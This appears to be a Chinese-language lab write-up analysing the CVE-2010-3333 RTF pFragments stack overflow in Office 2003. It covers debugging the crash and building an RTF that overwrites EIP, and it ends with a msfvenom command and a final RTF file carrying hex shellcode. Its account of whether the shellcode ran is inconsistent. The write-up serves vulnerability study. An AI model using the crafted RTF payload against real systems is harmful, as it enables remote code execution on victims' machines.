漏洞介绍

一个栈溢出漏洞,影响 Microsoft Office 系列的产品,包括 Microsot Office XP SP3, Office 2003 SP3, Office 2007 SP2, Office 2010 等多个系列。Word 在处理 RTF 格式文档的 pFragments 属性存在栈溢出,从而导致远程代码执行或程序崩溃。

实验环境

名称 版本
虚拟机 VirtualBox 6.1.2
系统 Win XP SP3 32位简体中文版
Microsoft Office Office 2003 SP0 11.5604.5606
调试工具 WinDbg 6.12.0002.633 x86
分析工具 IDA Pro 7.3

分析漏洞成因

使用 MSF 生成 PoC

这里使用 Metasploit 生成的是 PoC,生成过程并不会嵌入shellcode,故目的是仅仅是触发漏洞,分析漏洞成因。生成过程如下:

  • 搜索CVE并使用Exploit

    搜索CVE-2010-3333

  • 设置Target

    这里和正常的漏洞利用过程不太一样,Target list中有一项用于 Debug,我们在此选择该项。

    Target List

  • 生成 RTF 文件

    Generate RTF

栈回溯法

打开 Word,使用 WinDbg 附加到 Word。可以点击菜单 File –> Attach to a process, 或者直接按快捷键 F6,选择 WINWORD.exe 即可附加。

附加Word

此时在命令窗口中输入"g"并回车或者直接按 F5,程序会继续运行,使用 Word 打开 PoC 文件 msf.rtf,此时程序会直接崩溃,WinDbg 的命令窗口中会得到如下的信息:

程序崩溃

程序运行至模块 mso.dll 的地址 0x30e9eb88 处发生了内存访问异常,而当前执行的命令是:

1
.text:30E9EB88     rep movs dword ptr es:[edi], dword ptr [esi]

即循环拷贝 esi 地址处的内容到 edi 地址处。在命令框中输入 !adderss esi 和 !address edi 来查看这两块内存区域的详细信息,可知发生异常时edi指向的内存地址 0x130000 所在的区域是只读的,故而发生异常。

只读区域

重新按照之前的步骤 Attach 到程序,在命令窗口中输入 bp 0x30e9eb88 即可在触发异常的指令处下断点。下好断点后运行程序,打开 PoC 后程序在断点处停下。

异常处停止

分析此时的程序状态,我们可以得到一些结论。ecx 中存储复制的次数,由于此处一次拷贝一个 DWORD 也就是4个字节,所以实际拷贝的字节数为 4 * 0x322b = 0xc8ac,而断点前的一条指令正是该运算的逆运算,复制的字节数除以4以得到复制的次数。查看 esi 指向的区域如下:

1
2
3
4
5
6
7
8
1104000c  41 61 30 41 61 31 41 61-32 41 61 33 41 61 34 41  Aa0Aa1Aa2Aa3Aa4A
1104001c  61 35 41 61 36 41 61 37-41 61 38 41 61 39 41 62  a5Aa6Aa7Aa8Aa9Ab
1104002c  30 41 62 31 41 62 32 41-62 33 41 62 34 41 62 35  0Ab1Ab2Ab3Ab4Ab5
1104003c  41 62 36 41 62 37 41 62-38 41 62 39 41 63 30 41  Ab6Ab7Ab8Ab9Ac0A
1104004c  63 31 41 63 32 41 63 33-41 63 34 41 63 35 41 63  c1Ac2Ac3Ac4Ac5Ac
1104005c  36 41 63 37 41 63 38 41-63 39 41 64 30 41 64 31  6Ac7Ac8Ac9Ad0Ad1
1104006c  41 64 32 41 64 33 41 64-34 41 64 35 41 64 36 41  Ad2Ad3Ad4Ad5Ad6A
1104007c  64 37 41 64 38 41 64 39-41 65 30 41 65 31 41 65  d7Ad8Ad9Ae0Ae1Ae

回头分析一下 PoC 文件,以上两个寄存器的的内容都与此有关:

RTF文件

长度信息就在 PoC 文件 0x30的位置处,即 pFragments 的第三个字段偏移为8处。长度之后紧紧跟的就是拷贝进去的内容了。

再看看此时 edi 寄存器的值为 0x12a22c,ebp 寄存器的值为 0x12a23c,两者相差 0x10 字节,加上保存的 ebp,说明只要数据长度超过 0x14 字节,就会覆盖当前函数保存的返回地址,达到劫持控制流的效果。这里我手动修改了长度和内容,来验证以上的想法。将长度修改为 0x18,即刚好覆盖返回地址,同时选择一个比较显眼的字符,如全1。

可是以上的分析忽略了一些重要的事情,调试了一下午也也没有覆盖掉当前函数的返回地址。后来去查看函数 sub_30E9EB62,才发现该函数并没有自己的栈帧,即并没有保存 ebp,恢复 ebp 的操作。于是覆盖该函数的返回地址也就无从谈起了,只恨自己太菜。现在想想书上要去回溯调用栈,是要找到调用该函数的函数,继续分析。

再一次 Attach 到程序,在 0x30e9eb88 处下断点,运行,打开 PoC 文件。断下来之后在命令窗口中输入 kb 回溯调用栈。分析其中的项目的话,第一项是当前执行到的位置。输入命令 ub 加第二项的地址,结果的最后一行的 Call 指令的操作数即为答案。

栈回溯

重新运行,在以上得到的地址处下断,单步执行。发现 0x30F4CC93 处的Call指令会跳转到导致崩溃的函数内。

跳入

这个函数开始时开辟了 0x14 字节的局部空间,之前分析的写入的地址距离栈底 0x10 个字节是没有问题的,只不过栈底是这个函数的栈底。只要控制拷入的内容不过长覆盖到只读区域,就不会触发异常,就可以覆盖此处函数的返回地址,劫持控制流。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
.text:30F4CC5D                 push    ebp
.text:30F4CC5E                 mov     ebp, esp
.text:30F4CC60                 sub     esp, 14h

....

.text:30F4CC93                 call    dword ptr [eax+1Ch]

...

.text:30F4CD53                 pop     edi
.text:30F4CD54                 leave
.text:30F4CD55                 retn    14h

尝试构造新的RTF文件来覆盖EIP,这里长度随手写的,后填充14字节全零(两个十六进制数一个字节)。

1
{\rtf1{\shp{\sp{\sn pFragments}{\sv 1;1;1111111120050000000000000000000000000000000000000011111111}}}}

运行至触发异常,可见 eip 真被覆盖成了 11111111。感觉离执行shellcode近在咫尺。

漏洞利用

将 eip 改成 jmp esp 或者 call esp 的地址即可跳转,此处我选择地址 0x0026762f。由于函数的返回指令为 retn 14h,返回的同时,esp 会变为 esp + 14,于是要在覆盖的 eip 后面填充 0x14 字节的数据进行填充。

这里又发现一个很坑的地方,对于填充的数据还有一定的要求,并非随意。ebp + 0x14 处会被检测,只要不是 0 就会触发异常,于是我选择拿全 0 填充。接下来在后面填充 shellcode。

使用 msfvemon 生成 shellcode,一个简单的弹出计算器的动作。指令如下:

1
msfvemon -p windows/exec CMD='calc.exe' -b '\x00' -f hex

将 shellcode 添加到 RTF 文件中,运行,却只见程序崩溃。换了好几个不同的也是崩溃,调试时shellcode确实是可以执行的,但总是出现异常。后来在网上找到看雪的一个分析贴,试了试其中的shellcode,可以执行(此处感谢看雪的 RNGorgeous 老哥)。

最终的 RTF 文件:

1
{\rtf1{\shp{\sp{\sn pFragments}{\sv 6;7;11111111200500000000000000000000000000000000000000002f7626000000000000000000000000000000000000000000fc686a0a381e686389d14f683274910c8bf48d7ef433dbb7042be366bb33325368757365725433d2648b5a308b4b0c8b491c8b098b6908ad3d6a0a381e750595ff57f895608b453c8b4c057803cd8b592003dd33ff478b34bb03f5990fbe063ac47408c1ca0703d046ebf13b54241c75e48b592403dd668b3c7b8b591c03dd032cbb955fab57613d6a0a381e75a933db536875730000687267656f68524e476f8bc453505053ff57fc53ff57f8}}}}}

总结

此次分析比较令人遗憾,耗费了大量时间,最终没能执行shellcode。只能说明自己对于该漏洞的理解还是不够,而且缺乏很多技能如手撕shellcode之类的,还需努力。

参考

https://bbs.pediy.com/thread-246325.htm

https://blog.csdn.net/qq_38924942/article/details/86777040